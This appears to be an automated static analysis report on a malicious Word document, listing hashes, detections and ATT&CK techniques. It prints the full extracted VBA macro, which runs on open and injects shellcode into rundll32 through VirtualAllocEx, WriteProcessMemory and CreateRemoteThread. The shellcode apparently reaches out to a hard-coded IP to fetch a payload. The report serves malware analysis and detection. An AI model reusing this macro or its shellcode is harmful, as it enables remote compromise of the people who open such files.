Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 39dfb59bfdc59907…

MALICIOUS

Office (OLE)

248.0 KB Created: 2019-06-13 19:02:00 Authoring application: Microsoft Office Word First seen: 2019-10-30
MD5: d1da9815230c9091d9b7fed1a2d9b753 SHA-1: 31597c285ba4405996d1767d0a0123d63ee5f4b5 SHA-256: 39dfb59bfdc599071a3990c1eafbb018e578e7caaadfd8492639a2783fd8b32e
434 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample exhibits critical heuristic firings for CVE-2007-3899, indicating a memory corruption vulnerability in Microsoft Word. The presence of VBA macros, specifically referencing WinAPI functions like CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread, strongly suggests the execution of arbitrary code. The VBA code appears to be attempting to allocate memory and write to a remote process, likely to download and execute a secondary payload. The AutoOpen and Workbook_Open macros indicate an attempt to automatically execute malicious code upon opening the document.

Heuristics 14

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Malware.Valyria-10012625-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10012625-0
  • Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORY
    Reference to WriteProcessMemory API
  • Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREAD
    Reference to CreateRemoteThread API
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
        If Len(Environ("ProgramW6432")) > 0 Then
            sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
        Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
        rmimg
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
    Sub Workbook_Open()
        rmimg
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
        Dim myByte As Long, myArray As Variant, offset As Long
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    -58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 55, 51, 46, 50, 51, 48, 46, 49, 51, 51, 46, 49, 51, 53, 0, 38, 119, -102, -31)
        If Len(Environ("ProgramW6432")) > 0 Then
            sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
  • Reference to CreateProcess API high SC_STR_CREATEPROCESS
    Reference to CreateProcess API
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.nws.noaa.gov/directives/ In document text (OLE body)
    • http://deemedexports.noaa.gov/compliance_access_control_procedures/how-to-sponsor-a-foreign-national-at-a-noaa-facility.htmlIn document text (OLE body)
    • http://deemedexports.noaa.gov/compliance_access_control_procedures/how-to-sponsor-a-fIn document text (OLE body)
    • http://deemedexports.noaa.gov/compliance_access_control_procedures/how-to-sponsor-a-forIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8832 bytes
SHA-256: c70caf78090e73f68001c65116c847e738bdde5f2024a217e4719cec7d1a0f44
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "CommandButton1, 0, 0, MSForms, CommandButton"
Private Sub CommandButton1_Click()
    MsgBox "Sent Successfully", vbOKOnly, "Microsoft Word Notification"
End Sub

Attribute VB_Name = "NewMacros"
Private Type PROCESS_INFORMATION
    hProcess As Long
    hThread As Long
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
    lpReserved As String
    lpDesktop As String
    lpTitle As String
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
End Type

#If VBA7 Then
    Private Declare PtrSafe Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
    Private Declare PtrSafe Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
    Private Declare PtrSafe Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
    Private Declare Function CreateStuff Lib "kernel32" Alias "CreateRemoteThread" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
    Private Declare Function AllocStuff Lib "kernel32" Alias "VirtualAllocEx" (ByVal hProcess As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteStuff Lib "kernel32" Alias "WriteProcessMemory" (ByVal hProcess As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
    Private Declare Function RunStuff Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If

Sub Auto_Open()
    Dim myByte As Long, myArray As Variant, offset As Long
    Dim pInfo As PROCESS_INFORMATION
    Dim sInfo As STARTUPINFO
    Dim sNull As String
    Dim sProc As String

#If VBA7 Then
    Dim rwxpage As LongPtr, res As LongPtr
#Else
    Dim rwxpage As Long, res As Long
#End If
    myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, -24, 0, 0, 0, 0, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -92, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, -69, 1, 0, 0, 83, _
80, 104, 87, -119, -97, -58, -1, -43, 80, -23, -116, 0, 0, 0, 91, 49, -46, 82, 104, 0, 50, -96, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, _
80, 104, -128, 51, 0, 0, -119, -32, 106, 4, 80, 106, 31, 86, 104, 117, 70, -98, -122, -1, -43, 95, 49, -1, 87, 87, 106, -1, 83, 86, 104, 45, 6, 24, 123, -1, -43, -123, -64, 15, _
-124, -54, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, -43, 49, -1, 87, 106, 7, 81, 86, 80, 104, _
-73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 117, 7, 88, 80, -23, 123, -1, -1, -1, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, 111, -1, -1, -1, 47, _
57, 85, 116, 90, 0, 108, -118, 110, -99, 13, -8, 9, -100, 9, 79, -20, 4, -74, -115, 93, 69, 3, 92, 69, -125, -53, 88, 79, -37, -31, -68, 114, -90, -17, 79, 122, -23, -19, -46, 122, _
78, 122, 58, -82, 13, 76, 29, -108, 104, -64, 25, 81, -89, 53, 120, 106, -57, 14, -32, 29, 65, -123, -84, 55, -62, -120, -34, 41, -52, -128, -115, 12, -60, -75, -38, 106, -104, -128, 0, 85, _
115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 99, 111, 109, 112, 97, 116, 105, 98, 108, 101, 59, 32, 77, 83, 73, 69, _
32, 57, 46, 48, 59, 32, 87, 105, 110, 100, 111, 119, 115, 32, 80, 104, 111, 110, 101, 32, 79, 83, 32, 55, 46, 53, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 53, 46, 48, 59, _
32, 73, 69, 77, 111, 98, 105, 108, 101, 47, 57, 46, 48, 59, 32, 76, 71, 59, 32, 76, 71, 45, 69, 57, 48, 54, 41, 13, 10, 0, -69, -38, 64, 126, -102, 99, 98, -10, -2, -109, _
-24, -77, -11, 23, -68, 28, -71, -77, -65, 31, 73, 3, -122, -69, -22, -116, 13, 115, 113, -16, 57, 52, 43, 17, 120, 111, 36, -89, 98, -81, 66, 33, 81, -44, 74, -121, 11, 108, 112, -124, _
-14, 116, 80, 60, -24, 125, 50, 84, 65, 25, 114, -11, -75, -4, -66, 106, 16, 93, 120, 1, 4, 122, -46, -58, 85, 5, -122, 44, 59, 104, 43, -66, -25, 118, -40, 37, -44, 13, -114, 0, _
-85, 10, -89, 62, -10, -31, 9, 70, -22, 69, -6, 65, 106, -22, 21, 32, -57, -10, -30, -115, -23, -33, -106, 31, -106, -75, -43, 16, 74, -115, 100, -36, 42, -47, 107, -34, -16, 2, -122, -8, _
-120, 67, -62, -72, 39, -87, 127, 102, 51, 63, 32, -105, 73, 102, 24, 71, 35, 76, -83, -91, 106, -56, -92, -48, -6, 87, -45, -28, 35, 98, -96, 117, -68, -49, 45, -88, 48, -109, 91, 76, _
69, -9, 30, 85, 95, 1, -24, -92, -53, -30, -76, -123, 14, -85, -20, -95, -19, 69, 108, -28, 126, 99, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, _
64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 0, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, -123, -64, 116, _
-58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 55, 51, 46, 50, 51, 48, 46, 49, 51, 51, 46, 49, 51, 53, 0, 38, 119, -102, -31)
    If Len(Environ("ProgramW6432")) > 0 Then
        sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
    Else
        sProc = Environ("windir") & "\\System32\\rundll32.exe"
    End If

    res = RunStuff(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)

    rwxpage = AllocStuff(pInfo.hProcess, 0, UBound(myArray), &H1000, &H40)
    For offset = LBound(myArray) To UBound(myArray)
        myByte = myArray(offset)
        res = WriteStuff(pInfo.hProcess, rwxpage + offset, myByte, 1, ByVal 0&)
    Next offset
    res = CreateStuff(pInfo.hProcess, 0, 0, rwxpage, 0, 0, 0)
End Sub

Sub AutoOpen()
    rmimg
    rmimg
    rmimg
    rmimg
    rmimg
    Auto_Open
End Sub
Sub Workbook_Open()
    rmimg
    rmimg
    rmimg
    rmimg
    rmimg
    Auto_Open
End Sub

Sub rmimg()
'
' rmimg Macro
'
'
    Dim inln As InlineShape
    Dim shp As Shape
     
    'Delete Shapes
    For Each shp In ActiveDocument.Shapes
        Debug.Print (shp.AlternativeText)
        
        If shp.AlternativeText = "shrbrk" Then shp.Delete
    Next shp

    For Each inln In ActiveDocument.InlineShapes
        Debug.Print (inln.AlternativeText)
        
        If inln.AlternativeText = "shrbrk" Then inln.Delete
    Next inln
End Sub